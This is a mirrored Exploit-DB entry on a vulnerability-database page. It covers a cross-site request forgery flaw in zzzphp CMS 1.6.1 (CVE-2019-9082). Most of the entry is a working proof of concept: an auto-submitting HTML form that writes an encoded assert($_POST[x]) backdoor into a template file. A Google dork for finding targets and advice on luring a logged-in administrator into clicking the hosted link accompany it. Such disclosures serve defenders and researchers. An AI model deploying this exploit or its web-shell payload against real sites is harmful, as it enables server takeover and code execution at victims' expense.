Lucene search
K

zzzphp CMS 1.6.1 - Cross-Site Request Forgery

🗓️ 04 Mar 2019 00:00:00Reported by Yang ChenglongType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 130 Views

zphp CMS 1.6.1 CSRF vulnerability allows code injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
zzzphp CMS 1.6.1 - Cross-Site Request Forgery Vulnerability
4 Mar 201900:00
zdt
0day.today
ThinkPHP 5.0.23 Remote Code Execution Exploit
15 Apr 202000:00
zdt
ATTACKERKB
CVE-2019-9082
24 Feb 201900:00
attackerkb
Circl
CVE-2019-9082
13 Apr 202014:35
circl
CISA KEV Catalog
ThinkPHP Remote Code Execution Vulnerability
3 Nov 202100:00
cisa_kev
CNVD
ThinkPHP Command Execution Vulnerability
25 Feb 201900:00
cnvd
Check Point Advisories
NoneCMS ThinkPHP Remote Code Execution (CVE-2019-9082)
8 Jul 201900:00
checkpoint_advisories
CVE
CVE-2019-9082
24 Feb 201918:00
cve
Cvelist
CVE-2019-9082
24 Feb 201918:00
cvelist
exploitpack
zzzphp CMS 1.6.1 - Cross-Site Request Forgery
4 Mar 201900:00
exploitpack
Rows per page
# Exploit Title: Cross-Site Request Forgery(CSRF) of zzzphp cms 1.6.1
# Google Dork: intext:"2015-2019 zzcms.com"

# Date: 26/02/2019

# Exploit Author: Yang Chenglong

# Vendor Homepage: http://www.zzzcms.com/index.html

# Software Link: http://115.29.55.18/zzzphp.zip

# Version: 1.6.1

# Tested on: windows/Linux,iis/apache

# CVE : CVE-2019-9082

Due to the absence of CSRF token in the request, attackers can forge the post request and insert malicious codes into the template file which leads to dynamic code evaluation.

Exploit:


<html>



  <!-- CSRF PoC - generated by Burp Suite Professional -->



  <body>



  <script>history.pushState('', '', '/')</script>



    <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">



      <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />



      <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />



      <input type="submit" value="Submit request" />



    </form>



    <script>



      document.forms[0].submit();



    </script>



  </body>



</html>

Save the codes above as html file and host it on a web server. Send the link to the administrator of the website and ask him to click the link(request for exchange friend link or any other possible method), if the person has logged on to the admin panel, it will automatically insert malicious codes in to the template file and leads to dynamic code evaluation.

Remarks: This is a follow up exploit of CVE-2019-9041, whose exploit is here: https://www.exploit-db.com/exploits/46454

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2019 00:00Current
8High risk
Vulners AI Score8
CVSS 3.18.8
CVSS 29.3
EPSS0.94207
SSVC
130